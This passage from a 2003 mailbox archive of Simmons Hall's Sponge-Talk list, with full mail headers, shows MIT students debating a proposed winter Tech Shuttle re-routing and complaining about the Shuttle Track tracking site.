winter shuttle (Dec. ­ Apr.) reduces wait time to 10 minutes >>>> >>>>Effect of proposed change: >>>>-Provides morning coverage to residents in the northwest part of campus >>>> (Edgerton House, the Warehouse, Sidney-Pacific, Random Hall, WILG) >>>>-Over 1200 additional undergraduate and graduate students would have >>>> convenient and direct access from their residences. >>>>-Some stops along the current route will not experience a decreased >>> >>waiting >> >>>> time of 10 minutes >>>> >>>>Summary: >>>>-Current TechShuttle route and times won’t be affected >>>>-Second shuttle will be partially re-routed from the hours of 8am ­ 11am >>>>-Outside of this time window, TechShuttle operation will remain unchanged >>> >>> >>>_______________________________________________ >>>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> >>>---- For Archives & Subscription: Sponge-talk@mit.edu >>>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> > > > > > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 12:15:23 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 09:45:38 -0500 X-Sieve: CMU Sieve 2.2 Received: from grand-central-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOEjX6I013252; Mon, 24 Nov 2003 09:45:33 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAOEfIEG027508; Mon, 24 Nov 2003 09:41:18 -0500 (EST) Received: from rachel (LUKYMANN.MIT.EDU [18.96.0.105]) ) by melbourne-city-street.mit.edu (8.12.4/8.12.4) with ESMTP id hAOEf7FG011426; Mon, 24 Nov 2003 09:41:17 -0500 (EST) Message-Id: <200311241441.hAOEf7FG011426@melbourne-city-street.mit.edu> From: ""Andrew Lukmann"" To: ""'Seth'"" , , Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes Date: Mon, 24 Nov 2003 09:41:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook, Build 11.0.4920 In-Reply-To: <3FC21642.8020707@mit.edu> Thread-Index: AcOyl8+k5G6XBzuAS1OpXANz6qMkMQAAGhHw X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -3.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) In this plan, if I read it right, we (including all of the residents of west campus) would essentially be forfeiting all of the advantages of a more frequent winter tech shuttle by allowing this plan to proceed. Right me if I'm wrong. Do other sims care? >From - Mon Nov 24 16:10:32 2003 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 15:25:06 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOKP16I006553; Mon, 24 Nov 2003 15:25:01 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAOKOT5G002362; Mon, 24 Nov 2003 15:24:29 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOKORqb028613; Mon, 24 Nov 2003 15:24:27 -0500 (EST) Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOKOOqb028606 for ; Mon, 24 Nov 2003 15:24:24 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOKOOWW004503 for ; Mon, 24 Nov 2003 15:24:24 -0500 (EST) Received: from QuangoJoe.mit.edu (SIMMONS-FOUR-SIXTY-NINE.MIT.EDU [18.96.6.214]) (authenticated bits=0) (User authenticated as zingman@ATHENA.MIT.EDU)hAOKONZs023244 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Mon, 24 Nov 2003 15:24:24 -0500 (EST) Message-Id: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> X-Sender: zingman@hesiod X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 Date: Mon, 24 Nov 2003 15:24:23 -0500 To: sponge-talk@mit.edu From: Aron Zingman Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.8 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) >Date: Mon, 24 Nov 2003 11:52:35 -0500 >To: ""Andrew Lukmann"" >From: Aron Zingman >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes > >Agreed. Isn't 8-11 the only time that anyone really cares about having >the extra shuttle (rushing to the morning class in the snow). So there >would be extra coverage for the east campus dorms where you can walk >almost the whole way indoors anyway, but no extra coverage for all of the >west campus undergrad (and grad) houses? As the last shuttle stop >following all of those boring brick buildings on the other side of the >field, I would have to imagine that the shuttle will be pretty much full >by the time it makes it to simmons on a cold winter day and a extra >shuttle every 10 would be beneficial. I vote no. > >Aron > >At 09:41 AM 11/24/2003 -0500, you wrote: >>In this plan, if I read it right, we (including all of the residents of west >>campus) would essentially be forfeiting all of the advantages of a more >>frequent winter tech shuttle by allowing this plan to proceed. Right me if >>I'm wrong. Do other sims care? >> >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 16:10:32 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 15:36:31 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOKaQ6I015038; Mon, 24 Nov 2003 15:36:26 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAOKa35G013088; Mon, 24 Nov 2003 15:36:03 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOKa1qb028750; Mon, 24 Nov 2003 15:36:01 -0500 (EST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOKZwqb028746 for ; Mon, 24 Nov 2003 15:35:59 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAOKZv73005498 for ; Mon, 24 Nov 2003 15:35:57 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOKZu1O014075 for ; Mon, 24 Nov 2003 15:35:57 -0500 (EST) Received: from [18.96.6.204] (SIMMONS-FOUR-FIFTY-NINE.MIT.EDU [18.96.6.204]) )hAOKZuFF027472 for ; Mon, 24 Nov 2003 15:35:56 -0500 (EST) Mime-Version: 1.0 X-Sender: azhrei@hesiod Message-Id: In-Reply-To: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> Date: Mon, 24 Nov 2003 15:35:55 -0500 To: sponge-talk@mit.edu From: Israel Efrain Molina Subject: Re: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Are you saying that you feel as though those individuals who have to travel across the bridge, a windy bridge I might add, some how should not be entitled to a van that is available for those who live closer to classes in general. In the winter, yeah there is a lot of snow, but you are committed to voting no on a subject that would benefit others more so than it would you. Have a heart guys and weigh not only the costs to you but the benefits to others. _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 16:19:57 2003 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 16:14:41 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOLEa6I014889; Mon, 24 Nov 2003 16:14:36 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAOLEJ73006088; Mon, 24 Nov 2003 16:14:19 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLEHqb029321; Mon, 24 Nov 2003 16:14:17 -0500 (EST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOKunqb029126 for ; Mon, 24 Nov 2003 15:56:49 -0500 (EST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.7.72])hAOKum73022316 for ; Mon, 24 Nov 2003 15:56:48 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOKpwQ2018868 for ; Mon, 24 Nov 2003 15:51:58 -0500 (EST) Received: from MAVEN.MIT.EDU (MAVEN.MIT.EDU [18.96.1.240]) ) hAOKpvFE003665 for ; Mon, 24 Nov 2003 15:51:57 -0500 (EST) From: Adam Bouhenguel To: sponge-talk@mit.edu Content-Type: text/plain Message-Id: <1069707453.7319.13.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 24 Nov 2003 15:57:34 -0500 Content-Transfer-Encoding: 7bit Subject: [Sponge-talk] another tech shuttle change X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 1.4 X-Spam-Level: * (1.4) X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Ok, so this isn't some official bill in the works, it's just a question about other people's experiences with shuttle track. And what's the deal with it? Half the time, it's not running, a quarter of the time there's some server-side error, and the remaining quarter the shuttle jumps from stop to stop in like 6 minute increments, at one point it predicted that it would arrive at Simmons at something like 16 past, a refresh said it would be here at 3 past (it went from 3 stops away to two stops away) then it just showed the shuttle sitting at simmons. Racing down the stairs at around 4 after scored me little more than a distant view of the shuttle's rear. Upon my dejected return to shuttle track (yes, with refreshes) the shuttle appeared to be stopped at simmons for like ten more minutes. I understand the difficulties involved in efficiently coordination of the breadth of technologies that shuttle track is composed of, but surely there must be some degree of improvement on the way? Is there some massive rebuild on the way that requires the developers' full attention? If anyone knows what the deal is, I'd really like to be in the loop, along with (I'm sure) the majority of the bike/car non-owning residents of this dorm in a distant land. Thanks, (there haven't been any good rants in a while, so I figured I'd take a go at it..) Best, Adam _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 16:20:45 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 16:20:22 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOLKH6I019130; Mon, 24 Nov 2003 16:20:17 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAOLKC73010999; Mon, 24 Nov 2003 16:20:12 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLKAqb029553; Mon, 24 Nov 2003 16:20:10 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLK7qb029549 for ; Mon, 24 Nov 2003 16:20:07 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAOLK65I024683 for ; Mon, 24 Nov 2003 16:20:06 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOLHg1O019261; Mon, 24 Nov 2003 16:17:43 -0500 (EST) Received: from [18.96.5.242] (SIMMONS-TWO-FORTY-TWO.MIT.EDU [18.96.5.242]) )hAOLHgFE012946; Mon, 24 Nov 2003 16:17:42 -0500 (EST) User-Agent: Microsoft-Entourage/10.0.0.1309 Date: Mon, 24 Nov 2003 16:17:42 -0500 Subject: Re: [Sponge-talk] Proposed Tech Shuttle Changes From: Omoleye Roberts To: Israel Efrain Molina , Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -2.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) The issue is NOT the daytime saferide which goes into Boston, but Tech Shuttle which runs in Cambridge. On 11/24/03 3:35 PM, ""Israel Efrain Molina"" wrote: > Are you saying that you feel as though those individuals who have to > travel across the bridge, a windy bridge I might add, some how should > not be entitled to a van that is available for those who live closer > to classes in general. In the winter, yeah there is a lot of snow, > but you are committed to voting no on a subject that would benefit > others more so than it would you. Have a heart guys and weigh not > only the costs to you but the benefits to others. > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 16:41:50 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 16:37:11 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOLb66I001709; Mon, 24 Nov 2003 16:37:06 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAOLar73024707; Mon, 24 Nov 2003 16:36:53 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLapqb029924; Mon, 24 Nov 2003 16:36:51 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLaoqb029920 for ; Mon, 24 Nov 2003 16:36:50 -0500 (EST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.7.72])hAOLamLA008993 for ; Mon, 24 Nov 2003 16:36:49 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOLa9Q2024491; Mon, 24 Nov 2003 16:36:09 -0500 (EST) Received: from RAHXEPHON2 (SIMMONS-FOUR-FIFTY-FOUR.MIT.EDU [18.96.6.199]) )hAOLa9FE020058; Mon, 24 Nov 2003 16:36:09 -0500 (EST) From: ""Amy Wu"" To: ""Aron Zingman"" , Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes Date: Mon, 24 Nov 2003 16:35:47 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 In-Reply-To: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> Importance: Normal X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 1.4 X-Spam-Level: * (1.4) X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but aron is right about tech shuttle being full by the time it reaches simmons during the winter months. it's not a matter of waiting an extra 10 mins for a tech shuttle (from the GSC- ""One difference introduced by the current plan is that some users would not receive a reduced waiting time of 10 minutes between shuttles during the winter schedule hours. Our hope is that these users would be willing to accommodate this change so that better coverage can be provided to MIT community members as a whole""). the problem is that all these grad students and pplz from the other side of the field pile up on tech shuttle so that by the time it gets to simmons, there is no room. im sure a lot of pplz who lived in simmons last year experienced this. the tech shuttle is literally jam packed...every space is taken up... anyways, i didn't really take a side...but those are my thoughts=) ~amy -----Original Message----- From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU]On Behalf Of Aron Zingman Sent: Monday, November 24, 2003 3:24 PM To: sponge-talk@mit.edu Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes >Date: Mon, 24 Nov 2003 11:52:35 -0500 >To: ""Andrew Lukmann"" >From: Aron Zingman >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes > >Agreed. Isn't 8-11 the only time that anyone really cares about having >the extra shuttle (rushing to the morning class in the snow). So there >would be extra coverage for the east campus dorms where you can walk >almost the whole way indoors anyway, but no extra coverage for all of the >west campus undergrad (and grad) houses? As the last shuttle stop >following all of those boring brick buildings on the other side of the >field, I would have to imagine that the shuttle will be pretty much full >by the time it makes it to simmons on a cold winter day and a extra >shuttle every 10 would be beneficial. I vote no. > >Aron > >At 09:41 AM 11/24/2003 -0500, you wrote: >>In this plan, if I read it right, we (including all of the residents of west >>campus) would essentially be forfeiting all of the advantages of a more >>frequent winter tech shuttle by allowing this plan to proceed. Right me if >>I'm wrong. Do other sims care? >> >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 17:39:24 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 16:47:46 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOLlf6I009494; Mon, 24 Nov 2003 16:47:42 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAOLl7Fm003757; Mon, 24 Nov 2003 16:47:07 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLl4qb000175; Mon, 24 Nov 2003 16:47:04 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOLl3qb000171 for ; Mon, 24 Nov 2003 16:47:03 -0500 (EST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.7.72])hAOLl2L8018372 for ; Mon, 24 Nov 2003 16:47:02 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOLkrQ2025789 for ; Mon, 24 Nov 2003 16:46:53 -0500 (EST) Received: from hppav.mit.edu (EJHUANG.MIT.EDU [18.96.1.31]) ) hAOLkqFF024035 for ; Mon, 24 Nov 2003 16:46:52 -0500 (EST) Message-Id: <5.0.2.1.2.20031124163957.00a8bab0@hesiod> X-Sender: ejhuang@hesiod (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 24 Nov 2003 16:46:44 -0500 To: sponge-talk@MIT.EDU From: Eileen Huang Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes In-Reply-To: References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Before somebody accuses us of being lazy because Simmons isn't that far from campus, I'd like to point out that: 1) Our sidewalk gets shovelled long after they shovel dorm row (Mem. Drive) 2) When they do shovel our sidewalk, they do a pretty poor job 3) The incredibly cracked and uneven pavement only worsens with harsh weather At 04:35 PM 11/24/2003 -0500, you wrote: >i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but >aron is right about tech shuttle being full by the time it reaches simmons >during the winter months. it's not a matter of waiting an extra 10 mins for >a tech shuttle (from the GSC- ""One difference introduced by the current plan >is that some users would not receive a reduced waiting time of 10 minutes >between shuttles during the winter schedule hours. Our hope is that these >users would be willing to accommodate this change so that better coverage >can be provided to MIT community members as a whole""). the problem is that >all these grad students and pplz from the other side of the field pile up on >tech shuttle so that by the time it gets to simmons, there is no room. im >sure a lot of pplz who lived in simmons last year experienced this. the tech >shuttle is literally jam packed...every space is taken up... > >anyways, i didn't really take a side...but those are my thoughts=) > >~amy _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 17:39:24 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 17:15:32 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOMFH6K029839; Mon, 24 Nov 2003 17:15:27 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAOMFEL8013490; Mon, 24 Nov 2003 17:15:14 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOMFCqb000630; Mon, 24 Nov 2003 17:15:12 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOMF9qb000626 for ; Mon, 24 Nov 2003 17:15:09 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAOMEwLC013341 for ; Mon, 24 Nov 2003 17:15:09 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOMDGa0025800; Mon, 24 Nov 2003 17:14:07 -0500 (EST) Received: from SOULSODYSSEY.mit.edu ([18.96.7.193]) (authenticated bits=0) (User authenticated as kaitlin@ATHENA.MIT.EDU)hAOMCCZs002484 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Mon, 24 Nov 2003 17:12:12 -0500 (EST) Message-Id: <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> X-Sender: kaitlin@hesiod X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 Date: Mon, 24 Nov 2003 17:10:55 -0500 To: ""Amy Wu"" , ""Aron Zingman"" , From: ""Kaitlin E.M. Lewis"" Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes In-Reply-To: References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) that was my experience last year with the tech shuttle. i mean, i have that problem now sometimes...i'm about to get on and the guy is like, no sorry, no more people. the lower wait time isn't the only thing the west side dorms are losing....but simmons gets the raw end of the deal with the west side dorms because of how many people choose to use the shuttle in the winter. kait At 04:35 PM 11/24/2003 -0500, Amy Wu wrote: >i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but >aron is right about tech shuttle being full by the time it reaches simmons >during the winter months. it's not a matter of waiting an extra 10 mins for >a tech shuttle (from the GSC- ""One difference introduced by the current plan >is that some users would not receive a reduced waiting time of 10 minutes >between shuttles during the winter schedule hours. Our hope is that these >users would be willing to accommodate this change so that better coverage >can be provided to MIT community members as a whole""). the problem is that >all these grad students and pplz from the other side of the field pile up on >tech shuttle so that by the time it gets to simmons, there is no room. im >sure a lot of pplz who lived in simmons last year experienced this. the tech >shuttle is literally jam packed...every space is taken up... > >anyways, i didn't really take a side...but those are my thoughts=) > >~amy > > >-----Original Message----- >From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU]On >Behalf Of Aron Zingman >Sent: Monday, November 24, 2003 3:24 PM >To: sponge-talk@mit.edu >Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes > > > > >Date: Mon, 24 Nov 2003 11:52:35 -0500 > >To: ""Andrew Lukmann"" > >From: Aron Zingman > >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes > > > >Agreed. Isn't 8-11 the only time that anyone really cares about having > >the extra shuttle (rushing to the morning class in the snow). So there > >would be extra coverage for the east campus dorms where you can walk > >almost the whole way indoors anyway, but no extra coverage for all of the > >west campus undergrad (and grad) houses? As the last shuttle stop > >following all of those boring brick buildings on the other side of the > >field, I would have to imagine that the shuttle will be pretty much full > >by 